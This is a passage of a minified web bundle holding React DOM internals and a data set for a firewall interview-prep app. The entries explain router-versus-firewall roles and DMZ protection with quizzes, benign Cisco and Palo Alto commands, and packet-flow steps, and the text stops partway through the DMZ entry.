r=e.querySelector(`style[data-href~="`+on(n.href)+`"]`);if(r)return t.instance=r,F(r),r;var a=w({},n,{"data-href":n.href,"data-precedence":n.precedence,href:null,precedence:null});return r=(e.ownerDocument||e).createElement(`style`),F(r),np(r,`style`,a),Vm(r,n.precedence,e),t.instance=r;case`stylesheet`:a=Pm(n.href);var o=e.querySelector(Fm(a));if(o)return t.state.loading|=4,t.instance=o,F(o),o;r=Im(n),(a=vm.get(a))&&Hm(r,a),o=(e.ownerDocument||e).createElement(`link`),F(o);var s=o;return s._p=new Promise(function(e,t){s.onload=e,s.onerror=t}),np(o,`link`,r),t.state.loading|=4,Vm(o,n.precedence,e),t.instance=o;case`script`:return o=Rm(n.src),(a=e.querySelector(zm(o)))?(t.instance=a,F(a),a):(r=n,(a=vm.get(o))&&(r=w({},n),Um(r,a)),e=e.ownerDocument||e,a=e.createElement(`script`),F(a),np(a,`link`,r),e.head.appendChild(a),t.instance=a);case`void`:return null;default:throw Error(i(443,t.type))}else t.type===`stylesheet`&&!(t.state.loading&4)&&(r=t.instance,t.state.loading|=4,Vm(r,n.precedence,e));return t.instance}function Vm(e,t,n){for(var r=n.querySelectorAll(`link[rel="stylesheet"][data-precedence],style[data-precedence]`),i=r.length?r[r.length-1]:null,a=i,o=0;o<r.length;o++){var s=r[o];if(s.dataset.precedence===t)a=s;else if(a!==i)break}a?a.parentNode.insertBefore(e,a.nextSibling):(t=n.nodeType===9?n.head:n,t.insertBefore(e,t.firstChild))}function Hm(e,t){e.crossOrigin??=t.crossOrigin,e.referrerPolicy??=t.referrerPolicy,e.title??=t.title}function Um(e,t){e.crossOrigin??=t.crossOrigin,e.referrerPolicy??=t.referrerPolicy,e.integrity??=t.integrity}var Wm=null;function Gm(e,t,n){if(Wm===null){var r=new Map,i=Wm=new Map;i.set(n,r)}else i=Wm,r=i.get(n),r||(r=new Map,i.set(n,r));if(r.has(e))return r;for(r.set(e,null),n=n.getElementsByTagName(e),i=0;i<n.length;i++){var a=n[i];if(!(a[Rt]||a[k]||e===`link`&&a.getAttribute(`rel`)===`stylesheet`)&&a.namespaceURI!==`http://www.w3.org/2000/svg`){var o=a.getAttribute(t)||``;o=e+o;var s=r.get(o);s?s.push(a):r.set(o,[a])}}return r}function Km(e,t,n){e=e.ownerDocument||e,e.head.insertBefore(n,t===`title`?e.querySelector(`head > title`):null)}function qm(e,t,n){if(n===1||t.itemProp!=null)return!1;switch(e){case`meta`:case`title`:return!0;case`style`:if(typeof t.precedence!=`string`||typeof t.href!=`string`||t.href===``)break;return!0;case`link`:if(typeof t.rel!=`string`||typeof t.href!=`string`||t.href===``||t.onLoad||t.onError)break;switch(t.rel){case`stylesheet`:return e=t.disabled,typeof t.precedence==`string`&&e==null;default:return!0}case`script`:if(t.async&&typeof t.async!=`function`&&typeof t.async!=`symbol`&&!t.onLoad&&!t.onError&&t.src&&typeof t.src==`string`)return!0}return!1}function Jm(e,t){return e===`img`&&t.src!=null&&t.src!==``&&t.onLoad==null&&t.loading!==`lazy`}function Ym(e){return!(e.type===`stylesheet`&&!(e.state.loading&3))}function Xm(e){return(e.width||100)*(e.height||100)*(typeof devicePixelRatio==`number`?devicePixelRatio:1)*.25}function Zm(e,t){typeof t.decode==`function`&&(e.imgCount++,t.complete||(e.imgBytes+=Xm(t),e.suspenseyImages.push(t)),e=rh.bind(e),t.decode().then(e,e))}function Qm(e,t,n,r){if(n.type===`stylesheet`&&(typeof r.media!=`string`||!1!==matchMedia(r.media).matches)&&!(n.state.loading&4)){if(n.instance===null){var i=Pm(r.href),a=t.querySelector(Fm(i));if(a){t=a._p,typeof t==`object`&&t&&typeof t.then==`function`&&(e.count++,e=nh.bind(e),t.then(e,e)),n.state.loading|=4,n.instance=a,F(a);return}a=t.ownerDocument||t,r=Im(r),(i=vm.get(i))&&Hm(r,i),a=a.createElement(`link`),F(a);var o=a;o._p=new Promise(function(e,t){o.onload=e,o.onerror=t}),np(a,`link`,r),n.instance=a}e.stylesheets===null&&(e.stylesheets=new Map),e.stylesheets.set(n,t),(t=n.state.preload)&&!(n.state.loading&3)&&(e.count++,n=nh.bind(e),t.addEventListener(`load`,n),t.addEventListener(`error`,n))}}var $m=0;function eh(e,t){return e.stylesheets&&e.count===0&&ah(e,e.stylesheets),0<e.count||0<e.imgCount?function(n){var r=setTimeout(function(){if(e.stylesheets&&ah(e,e.stylesheets),e.unsuspend){var t=e.unsuspend;e.unsuspend=null,t()}},6e4+t);0<e.imgBytes&&$m===0&&($m=62500*op());var i=setTimeout(function(){if(e.waitingForImages=!1,e.count===0&&(e.stylesheets&&ah(e,e.stylesheets),e.unsuspend)){var t=e.unsuspend;e.unsuspend=null,t()}},(e.imgBytes>$m?50:800)+t);return e.unsuspend=n,function(){e.unsuspend=null,clearTimeout(r),clearTimeout(i)}}:null}function th(e){if(e.count===0&&(e.imgCount===0||!e.waitingForImages)){if(e.stylesheets)ah(e,e.stylesheets);else if(e.unsuspend){var t=e.unsuspend;e.unsuspend=null,t()}}}function nh(){this.count--,th(this)}function rh(){this.imgCount--,th(this)}var ih=null;function ah(e,t){e.stylesheets=null,e.unsuspend!==null&&(e.count++,ih=new Map,t.forEach(oh,e),ih=null,nh.call(e))}function oh(e,t){if(!(t.state.loading&4)){var n=ih.get(e);if(n)var r=n.get(null);else{n=new Map,ih.set(e,n);for(var i=e.querySelectorAll(`link[data-precedence],style[data-precedence]`),a=0;a<i.length;a++){var o=i[a];(o.nodeName===`LINK`||o.getAttribute(`media`)!==`not all`)&&(n.set(o.dataset.precedence,o),r=o)}r&&n.set(null,r)}i=t.instance,o=i.getAttribute(`data-precedence`),a=n.get(o)||r,a===r&&n.set(null,i),n.set(o,i),this.count++,r=nh.bind(this),i.addEventListener(`load`,r),i.addEventListener(`error`,r),a?a.parentNode.insertBefore(i,a.nextSibling):(e=e.nodeType===9?e.head:e,e.insertBefore(i,e.firstChild)),t.state.loading|=4}}var sh={$$typeof:T,Provider:null,Consumer:null,_currentValue:Te,_currentValue2:Te,_threadCount:0};function ch(e,t,n,r,i,a,o,s,c){this.tag=1,this.containerInfo=e,this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.next=this.pendingContext=this.context=this.cancelPendingCommit=null,this.callbackPriority=0,this.expirationTimes=xt(-1),this.entangledLanes=this.shellSuspendCounter=this.errorRecoveryDisabledLanes=this.expiredLanes=this.warmLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=xt(0),this.hiddenUpdates=xt(null),this.identifierPrefix=r,this.onUncaughtError=i,this.onCaughtError=a,this.onRecoverableError=o,this.pooledCache=null,this.pooledCacheLanes=0,this.formState=c,this.transitionTypes=null,this.incompleteTransitions=new Map}function lh(e,t,n,r,i,a,o,s,c,l,u,d){return e=new ch(e,t,n,o,c,l,u,d,s),t=1,!0===a&&(t|=24),a=Fi(3,null,null,t),e.current=a,a.stateNode=e,t=Pa(),t.refCount++,e.pooledCache=t,t.refCount++,a.memoizedState={element:r,isDehydrated:n,cache:t},_o(a),e}function uh(e){return e?(e=Ni,e):Ni}function dh(e,t,n,r,i,a){i=uh(i),r.context===null?r.context=i:r.pendingContext=i,r=yo(t),r.payload={element:n},a=a===void 0?null:a,a!==null&&(r.callback=a),n=bo(e,r,t),n!==null&&(Pd(n,e,t),xo(n,e,t))}function fh(e,t){if(e=e.memoizedState,e!==null&&e.dehydrated!==null){var n=e.retryLane;e.retryLane=n!==0&&n<t?n:t}}function ph(e,t){fh(e,t),(e=e.alternate)&&fh(e,t)}function mh(e){if(e.tag===13||e.tag===31){var t=Ai(e,67108864);t!==null&&Pd(t,e,67108864),ph(e,67108864)}}function hh(e){if(e.tag===13||e.tag===31){var t=jd();t=Dt(t);var n=Ai(e,t);n!==null&&Pd(n,e,t),ph(e,t)}}var gh=!0;function _h(e,t,n,r){var i=E.T;E.T=null;var a=D.p;try{D.p=2,yh(e,t,n,r)}finally{D.p=a,E.T=i}}function vh(e,t,n,r){var i=E.T;E.T=null;var a=D.p;try{D.p=8,yh(e,t,n,r)}finally{D.p=a,E.T=i}}function yh(e,t,n,r){if(gh){var i=bh(r);if(i===null)Kf(e,t,r,xh,n),Mh(e,r);else if(Ph(i,e,t,n,r))r.stopPropagation();else if(Mh(e,r),t&4&&-1<jh.indexOf(e)){for(;i!==null;){var a=M(i);if(a!==null)switch(a.tag){case 3:if(a=a.stateNode,a.current.memoizedState.isDehydrated){var o=ht(a.pendingLanes);if(o!==0){var s=a;for(s.pendingLanes|=2,s.entangledLanes|=2;o;){var c=1<<31-ct(o);s.entanglements[1]|=c,o&=~c}Ef(a),!(G&6)&&(_d=Xe()+500,Df(0,!1))}}break;case 31:case 13:s=Ai(a,2),s!==null&&Pd(s,a,2),zd(),ph(a,2)}if(a=bh(r),a===null&&Kf(e,t,r,xh,n),a===i)break;i=a}i!==null&&r.stopPropagation()}else Kf(e,t,r,null,n)}}function bh(e){return e=Cn(e),Sh(e)}var xh=null;function Sh(e){if(xh=null,e=j(e),e!==null){var t=o(e);if(t===null)e=null;else{var n=t.tag;if(n===13){if(e=s(t),e!==null)return e;e=null}else if(n===31){if(e=c(t),e!==null)return e;e=null}else if(n===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null)}}return xh=e,null}function Ch(e){switch(e){case`beforetoggle`:case`cancel`:case`click`:case`close`:case`contextmenu`:case`copy`:case`cut`:case`auxclick`:case`dblclick`:case`dragend`:case`dragstart`:case`drop`:case`focusin`:case`focusout`:case`input`:case`invalid`:case`keydown`:case`keypress`:case`keyup`:case`mousedown`:case`mouseup`:case`paste`:case`pause`:case`play`:case`pointercancel`:case`pointerdown`:case`pointerup`:case`ratechange`:case`reset`:case`seeked`:case`submit`:case`toggle`:case`touchcancel`:case`touchend`:case`touchstart`:case`volumechange`:case`change`:case`selectionchange`:case`textInput`:case`compositionstart`:case`compositionend`:case`compositionupdate`:case`beforeblur`:case`afterblur`:case`beforeinput`:case`blur`:case`fullscreenchange`:case`fullscreenerror`:case`focus`:case`hashchange`:case`popstate`:case`select`:case`selectstart`:return 2;case`drag`:case`dragenter`:case`dragexit`:case`dragleave`:case`dragover`:case`mousemove`:case`mouseout`:case`mouseover`:case`pointermove`:case`pointerout`:case`pointerover`:case`resize`:case`scroll`:case`touchmove`:case`wheel`:case`mouseenter`:case`mouseleave`:case`pointerenter`:case`pointerleave`:return 8;case`message`:switch(Ze()){case Qe:return 2;case $e:return 8;case et:case tt:return 32;case nt:return 268435456;default:return 32}default:return 32}}var wh=!1,Th=null,Eh=null,Dh=null,Oh=new Map,kh=new Map,Ah=[],jh=`mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset`.split(` `);function Mh(e,t){switch(e){case`focusin`:case`focusout`:Th=null;break;case`dragenter`:case`dragleave`:Eh=null;break;case`mouseover`:case`mouseout`:Dh=null;break;case`pointerover`:case`pointerout`:Oh.delete(t.pointerId);break;case`gotpointercapture`:case`lostpointercapture`:kh.delete(t.pointerId)}}function Nh(e,t,n,r,i,a){return e===null||e.nativeEvent!==a?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:a,targetContainers:[i]},t!==null&&(t=M(t),t!==null&&mh(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,i!==null&&t.indexOf(i)===-1&&t.push(i),e)}function Ph(e,t,n,r,i){switch(t){case`focusin`:return Th=Nh(Th,e,t,n,r,i),!0;case`dragenter`:return Eh=Nh(Eh,e,t,n,r,i),!0;case`mouseover`:return Dh=Nh(Dh,e,t,n,r,i),!0;case`pointerover`:var a=i.pointerId;return Oh.set(a,Nh(Oh.get(a)||null,e,t,n,r,i)),!0;case`gotpointercapture`:return a=i.pointerId,kh.set(a,Nh(kh.get(a)||null,e,t,n,r,i)),!0}return!1}function Fh(e){var t=j(e.target);if(t!==null){var n=o(t);if(n!==null){if(t=n.tag,t===13){if(t=s(n),t!==null){e.blockedOn=t,At(e.priority,function(){hh(n)});return}}else if(t===31){if(t=c(n),t!==null){e.blockedOn=t,At(e.priority,function(){hh(n)});return}}else if(t===3&&n.stateNode.current.memoizedState.isDehydrated){e.blockedOn=n.tag===3?n.stateNode.containerInfo:null;return}}}e.blockedOn=null}function Ih(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0<t.length;){var n=bh(e.nativeEvent);if(n===null){n=e.nativeEvent;var r=new n.constructor(n.type,n);Sn=r,n.target.dispatchEvent(r),Sn=null}else return t=M(n),t!==null&&mh(t),e.blockedOn=n,!1;t.shift()}return!0}function Lh(e,t,n){Ih(e)&&n.delete(t)}function Rh(){wh=!1,Th!==null&&Ih(Th)&&(Th=null),Eh!==null&&Ih(Eh)&&(Eh=null),Dh!==null&&Ih(Dh)&&(Dh=null),Oh.forEach(Lh),kh.forEach(Lh)}function zh(e,n){e.blockedOn===n&&(e.blockedOn=null,wh||(wh=!0,t.unstable_scheduleCallback(t.unstable_NormalPriority,Rh)))}var Bh=null;function Vh(e){Bh!==e&&(Bh=e,t.unstable_scheduleCallback(t.unstable_NormalPriority,function(){Bh===e&&(Bh=null);for(var t=0;t<e.length;t+=3){var n=e[t],r=e[t+1],i=e[t+2];if(typeof r!=`function`){if(Sh(r||n)===null)continue;break}var a=M(n);a!==null&&(e.splice(t,3),t-=3,nc(a,{pending:!0,data:i,method:n.method,action:r},r,i))}}))}function Hh(e){function t(t){return zh(t,e)}Th!==null&&zh(Th,e),Eh!==null&&zh(Eh,e),Dh!==null&&zh(Dh,e),Oh.forEach(t),kh.forEach(t);for(var n=0;n<Ah.length;n++){var r=Ah[n];r.blockedOn===e&&(r.blockedOn=null)}for(;0<Ah.length&&(n=Ah[0],n.blockedOn===null);)Fh(n),n.blockedOn===null&&Ah.shift();if(n=(e.ownerDocument||e).$$reactFormReplay,n!=null)for(r=0;r<n.length;r+=3){var i=n[r],a=n[r+1],o=i[Mt]||null;if(typeof a==`function`)o||Vh(n);else if(o){var s=null;if(a&&a.hasAttribute(`formAction`)){if(i=a,o=a[Mt]||null)s=o.formAction;else if(Sh(i)!==null)continue}else s=o.action;typeof s==`function`?n[r+1]=s:(n.splice(r,3),r-=3),Vh(n)}}}function Uh(){function e(e){e.canIntercept&&e.info===`react-transition`&&e.intercept({handler:function(){return new Promise(function(e){return i=e})},focusReset:`manual`,scroll:`manual`})}function t(){i!==null&&(i(),i=null),r||setTimeout(n,20)}function n(){if(!r&&!navigation.transition){var e=navigation.currentEntry;e&&e.url!=null&&navigation.navigate(e.url,{state:e.getState(),info:`react-transition`,history:`replace`})}}if(typeof navigation==`object`){var r=!1,i=null;return navigation.addEventListener(`navigate`,e),navigation.addEventListener(`navigatesuccess`,t),navigation.addEventListener(`navigateerror`,t),setTimeout(n,100),function(){r=!0,navigation.removeEventListener(`navigate`,e),navigation.removeEventListener(`navigatesuccess`,t),navigation.removeEventListener(`navigateerror`,t),i!==null&&(i(),i=null)}}}function Wh(e){this._internalRoot=e}Gh.prototype.render=Wh.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(i(409));var n=t.current;dh(n,jd(),e,t,null,null)},Gh.prototype.unmount=Wh.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;dh(e.current,2,null,e,null,null),zd(),t[Nt]=null}};function Gh(e){this._internalRoot=e}Gh.prototype.unstable_scheduleHydration=function(e){if(e){var t=kt();e={blockedOn:null,target:e,priority:t};for(var n=0;n<Ah.length&&t!==0&&t<Ah[n].priority;n++);Ah.splice(n,0,e),n===0&&Fh(e)}};var Kh=n.version;if(Kh!==`19.3.0`)throw Error(i(527,Kh,`19.3.0`));D.findDOMNode=function(e){var t=e._reactInternals;if(t===void 0)throw typeof e.render==`function`?Error(i(188)):(e=Object.keys(e).join(`,`),Error(i(268,e)));return e=d(t),e=e===null?null:p(e),e=e===null?null:e.stateNode,e};var qh={bundleType:0,version:`19.3.0`,rendererPackageName:`react-dom`,currentDispatcherRef:E,reconcilerVersion:`19.3.0`};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<`u`){var Jh=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!Jh.isDisabled&&Jh.supportsFiber)try{at=Jh.inject(qh),ot=Jh}catch{}}e.createRoot=function(e,t){if(!a(e))throw Error(i(299));var n=!1,r=``,o=Tc,s=Ec,c=Dc;return t!=null&&(!0===t.unstable_strictMode&&(n=!0),t.identifierPrefix!==void 0&&(r=t.identifierPrefix),t.onUncaughtError!==void 0&&(o=t.onUncaughtError),t.onCaughtError!==void 0&&(s=t.onCaughtError),t.onRecoverableError!==void 0&&(c=t.onRecoverableError)),t=lh(e,1,!1,null,null,n,r,null,o,s,c,Uh),e[Nt]=t.current,Wf(e),new Wh(t)}})),g=o(((e,t)=>{function n(){if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<`u`&&typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE==`function`)try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}n(),t.exports=h()})),_=c(u(),1),v=g(),y=[{id:21,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What is the difference between a firewall and a router?`,difficulty:`Beginner`,visualType:`q21-router-vs-firewall`,elevatorPitch:`A router is designed to forward packets efficiently between different networks by determining the optimal path (WHERE traffic goes), whereas a firewall is designed to inspect and control traffic based on security policies (WHETHER traffic is allowed to pass).`,deepDive:`### Core Distinction
* **Router (Layer 3 Routing Engine):**
  * **Primary Mission:** Path selection and packet forwarding across network boundaries.
  * **Routing Table:** Uses routing protocols (BGP, OSPF, EIGRP, Static) to determine next-hop interfaces based on Destination IP.
  * **Traffic Philosophy:** Permissive by default — forwards all routable packets unless an ACL is explicitly attached.
* **Firewall (Layer 3–7 Security Enforcement Point):**
  * **Primary Mission:** Traffic inspection, policy enforcement, and state tracking.
  * **State Table & Policy Engine:** Inspects 5-tuple headers, TCP flags, state transitions, application signatures, and threat heuristics.
  * **Traffic Philosophy:** Restrictive by default (Implicit Deny) — drops all unpermitted traffic.

### Architecture Comparison
| Feature | Router | Firewall (Stateful / NGFW) |
| :--- | :--- | :--- |
| **Primary Metric** | Routing Table / FIB (Destination IP) | Security Policy & State Table |
| **Default Action** | Forward if route exists | Drop unless explicitly permitted |
| **State Awareness** | Stateless packet-by-packet forwarding | Full bidirectional state tracking (TCP/UDP/ICMP) |
| **Layer Depth** | Layer 3 (IP) & Layer 2 (Frame encapsulation) | Layer 3 through Layer 7 (DPI, App-ID, SSL Decryption, IPS) |
| **Hardware Focus** | High-throughput ASIC route lookups | Security processors, deep packet inspection engines |`,realWorldScenario:`An enterprise edge uses dual BGP routers to connect to diverse Tier-1 ISPs for redundant internet routing, which immediately hand off all transit traffic to a high-availability cluster of Next-Generation Firewalls for threat inspection and DMZ segmentation.`,commonTraps:[`Believing modern routers with basic ACLs can replace stateful firewalls (ACLs cannot track dynamic TCP state or Layer 7 applications).`,`Assuming firewalls do not perform routing (modern firewalls support dynamic routing like OSPF/BGP, but their core purpose remains policy inspection).`],cliSnippet:`# Cisco IOS Router - Route Table Inspection
show ip route 10.0.0.50

# Palo Alto Firewall - Security Policy Match
test security-policy-match source 10.0.0.25 destination 10.0.0.50 destination-port 443 protocol 6`,quiz:{question:`What is the primary fundamental difference between a router and a firewall?`,options:[`Routers only work with IPv4, while firewalls only work with IPv6`,`Routers decide where traffic goes (path selection), while firewalls decide whether traffic is allowed (policy enforcement)`,`Routers inspect Layer 7 payloads, while firewalls only inspect Layer 2 MAC addresses`,`Firewalls cannot have IP addresses assigned to interfaces`],correctAnswer:1,explanation:`Routers are optimized for routing and forwarding packets to their destination, whereas firewalls are dedicated security gateways that inspect packet headers, state, and payloads to enforce allow/deny security rules.`},steps:[{id:1,label:`1. Client Workstation Active`,badge:`Step 1: Source Host`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.0.50`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Client endpoint initialized on source subnet.`,interviewTakeaway:`Traffic begins at the source endpoint with initial Layer 3/4 headers.`},{id:2,label:`2. Router Introduced at Network Boundary`,badge:`Step 2: Router Appears`,activeNodes:[`router`],whatIsHappening:`Core enterprise router joins the topology to handle inter-subnet routing decisions.`,interviewTakeaway:`Routers evaluate routing tables (FIB/RIB) to determine the next hop.`},{id:3,label:`3. Firewall Introduced for Policy Enforcement`,badge:`Step 3: Firewall Appears`,activeNodes:[`firewall`],whatIsHappening:`Stateful security firewall deployed inline to guard access to the protected server zone.`,interviewTakeaway:`Firewalls sit in the transit path to enforce bidirectional security policies.`},{id:4,label:`4. Destination Server Zone Introduced`,badge:`Step 4: Server Appears`,activeNodes:[`server`],whatIsHappening:`Target corporate application server (10.0.0.50:443) ready to receive permitted connections.`,interviewTakeaway:`Sensitive server zones require segmented perimeter protection.`},{id:5,label:`5. Inter-network Physical Links Established`,badge:`Step 5: Cables Connected`,activeNodes:[`client`,`router`,`firewall`,`server`],whatIsHappening:`Network infrastructure links established connecting Client → Router → Firewall → Server.`,interviewTakeaway:`Physical and logical topologies must align with enterprise security zones.`},{id:6,label:`6. HTTPS Packet Created at Client`,badge:`Step 6: Packet Created`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.0.50`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Client constructs TCP SYN packet with Destination IP 10.0.0.50:443.`,interviewTakeaway:`Endpoints build standard 5-tuple IP packets.`},{id:7,label:`7. Packet Transmits: Client → Router`,badge:`Step 7: Physical Transit`,activeNodes:[`client`,`router`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.0.50`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet travels across local Ethernet link to Default Gateway router.`,interviewTakeaway:`Endpoints forward off-subnet packets directly to their gateway.`},{id:8,label:`8. Router Receives Packet & Performs Route Lookup`,badge:`Step 8: Route Table (FIB)`,activeNodes:[`router`],decision:`INSPECT`,whatIsHappening:`Router checks destination IP (10.0.0.50) in Forwarding Information Base (FIB).`,interviewTakeaway:`Route lookup matches destination prefix against routing table.`},{id:9,label:`9. Router Determines Next-Hop: Next Hop = Firewall`,badge:`Step 9: Path Selected`,activeNodes:[`router`],decision:`ALLOW`,whatIsHappening:`Routing table matches: 10.0.0.0/24 via eth1 (Next-hop: Firewall). Router decides WHERE traffic goes.`,interviewTakeaway:`Routing determines path selection without evaluating security permissions.`},{id:10,label:`10. Packet Physically Moves: Router → Firewall`,badge:`Step 10: Routed Transit`,activeNodes:[`router`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.0.50`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Router forwards frame out eth1 interface to Firewall ingress.`,interviewTakeaway:`Frame L2 headers change at each hop; L3 IP packet remains intact.`},{id:11,label:`11. Firewall Intercepts Packet (Status: INSPECTING)`,badge:`Step 11: Firewall Ingress`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall buffers incoming packet for security policy evaluation.`,interviewTakeaway:`Firewall holds packet until security rule matching concludes.`},{id:12,label:`12. 5-Tuple Dissection (SRC, DST, PORT, PROTO)`,badge:`Step 12: 5-Tuple Inspection`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall parses 5-tuple: SRC=10.0.0.25, DST=10.0.0.50, PROTO=TCP, PORT=443.`,interviewTakeaway:`Packet filtering validates L3 and L4 headers against policy rules.`},{id:13,label:`13. Firewall Evaluates Security Policy Rulebase`,badge:`Step 13: Rule Matching`,activeNodes:[`firewall`],decision:`INSPECT`,ruleMatched:`Rule 101: ALLOW SRC 10.0.0.0/24 DST 10.0.0.50 PORT 443`,whatIsHappening:`Firewall checks sequential access control list; Rule 101 matches packet criteria.`,interviewTakeaway:`Firewalls evaluate security policies top-to-bottom.`},{id:14,label:`14. Policy Decision: ALLOW (Session State Created)`,badge:`Step 14: Action ALLOW ✓`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Firewall allows packet and instantiates bidirectional state table entry.`,interviewTakeaway:`Firewall decides WHETHER traffic is permitted to pass.`},{id:15,label:`15. Packet Physically Moves: Firewall → Server`,badge:`Step 15: Permitted Transit`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`10.0.0.50`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Permitted packet crosses internal security boundary to destination server.`,interviewTakeaway:`Allowed traffic proceeds to target asset.`},{id:16,label:`16. Server Receives Packet (ACCEPTED ✓)`,badge:`Step 16: Ingress Complete ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Server receives TCP SYN and processes connection request.`,interviewTakeaway:`Initial forward flow successfully reaches target destination.`},{id:17,label:`17. Server Generates Return Reply Packet (HTTP 200 / SYN-ACK)`,badge:`Step 17: Reply Created`,activeNodes:[`server`],packetInfo:{srcIp:`10.0.0.50`,dstIp:`10.0.0.25`,srcPort:443,dstPort:49152,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Server creates return reply packet addressed back to Client 10.0.0.25.`,interviewTakeaway:`Return traffic reverses source and destination addresses.`},{id:18,label:`18. Response Returns: Server → Firewall → Router → Client`,badge:`Step 18: Stateful Return`,activeNodes:[`server`,`firewall`,`router`,`client`],packetInfo:{srcIp:`10.0.0.50`,dstIp:`10.0.0.25`,srcPort:443,dstPort:49152,protocol:`TCP`},decision:`ALLOW`,whatIsHappening:`Return packet traverses firewall (matched by state table) and router back to client.`,interviewTakeaway:`Stateful firewall permits return reply automatically.`},{id:19,label:`19. Client Receives Response (Full Round-Trip Complete ✓)`,badge:`Step 19: ROUND-TRIP ✓`,activeNodes:[`client`],decision:`ALLOW`,whatIsHappening:`Full round-trip session active. ROUTER = Path Selection; FIREWALL = Policy Enforcement.`,interviewTakeaway:`Routers route the path; firewalls secure the journey.`}]},{id:22,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What is a DMZ, and how does a firewall protect a DMZ?`,difficulty:`Intermediate`,visualType:`q22-dmz-protection`,elevatorPitch:`A Demilitarized Zone (DMZ) is a perimeter network segment that hosts public-facing services (e.g., Web, DNS, Mail) isolated between the untrusted Internet and the sensitive internal corporate network. The firewall allows controlled inbound traffic from the Internet to the DMZ, but strictly forbids the DMZ or Internet from initiating connections into the internal network.`,deepDive:`### DMZ Architecture Principles
* **Buffer Zone Concept:** Public-facing servers are vulnerable to external exploits. Placing them in a DMZ ensures that if a web server is compromised, the attacker cannot pivot directly into internal databases or domain controllers.
* **Firewall Zone Rules:**
  1. **Internet → DMZ:** ALLOW strictly permitted ports (e.g., TCP 80, 443).
  2. **DMZ → Internal Network:** DENY by default. Web servers can only query specific internal services (e.g., SQL port 1433/3306 or backend APIs) through strictly controlled firewall pinholes.
  3. **Internet → Internal Network:** STRICTLY BLOCKED ✕ (No direct routing or access allowed).
  4. **Internal Network → DMZ / Internet:** ALLOW for management and egress browsing.

### Single Firewall vs Dual Firewall DMZ
* **3-Legged Firewall (Single Appliance):** Uses three distinct interfaces (Outside/WAN, DMZ, Inside/LAN) with zone-based security policies.
* **Dual-Homed Back-to-Back DMZ:** Uses two separate firewall vendors (Perimeter Firewall and Internal Firewall) for defense-in-depth against vendor-specific zero-days.`,realWorldScenario:`An e-commerce site hosts its public NGINX web servers in a DMZ (VLAN 50). External shoppers connect over HTTPS. When a checkout occurs, the web server initiates an internal API query to the payment database in the secure internal zone (VLAN 100) via port 443. An attacker attempting direct SQL injection cannot access the DB port from the WAN.`,commonTraps:[`Assuming placing a database inside the DMZ alongside the web server is safe (Databases must ALWAYS remain in the private internal tier).`,`Allowing DMZ servers to initiate arbitrary outbound connections to internal subnets.`],cliSnippet:`# Cisco ASA 3-Interface DMZ Configuration
interface GigabitEthernet0/0
 nameif outside
 security-level 0
!
interface GigabitEthernet0/1
 nameif dmz
 security-level 50
!
interface GigabitEthernet0/2
 nameif inside
 security-level 100`,quiz:{question:`Which of the following traffic flows should a DMZ firewall STRICTLY BLOCK?`,options:[`Internet to DMZ Web Server (Port 443)`,`DMZ Web Server to Internal DB Server on specific port 1433`,`Direct Internet connection to Internal Database Server`,`Internal Administrator to DMZ Web Server via SSH`],correctAnswer:2,explanation:`Direct connections from the public Internet to the internal private network must always be blocked. All external access is terminated in the DMZ buffer zone.`},steps:[{id:1,label:`1. Untrusted Public Internet Appears`,badge:`Step 1: External WAN`,activeNodes:[`internet`],whatIsHappening:`Public Internet zone represents untrusted external users and potential threat actors (Security Level 0).`,interviewTakeaway:`External WAN has the lowest security trust level.`},{id:2,label:`2. Edge Security Firewall Active`,badge:`Step 2: Perimeter Gateway`,activeNodes:[`firewall`],whatIsHappening:`Perimeter firewall establishes security zoning and traffic isolation boundaries.`,interviewTakeaway:`The firewall enforces strict directional boundaries between trust zones.`},{id:3,label:`3. DMZ Buffer Subnet Created`,badge:`Step 3: DMZ Zone`,activeNodes:[`dmz-zone`],whatIsHappening:`DMZ buffer zone (Security Level 50) isolated from both WAN and internal LAN.`,interviewTakeaway:`DMZ isolates public-facing servers from internal core systems.`},{id:4,label:`4. Public Web Server Placed in DMZ`,badge:`Step 4: Web Server`,activeNodes:[`web-server`],whatIsHappening:`Corporate web server (10.0.1.10) deployed in DMZ to terminate public HTTP/HTTPS sessions.`,interviewTakeaway:`Public-facing workloads must never reside directly on the internal LAN.`},{id:5,label:`5. Protected Internal Network Established`,badge:`Step 5: Internal 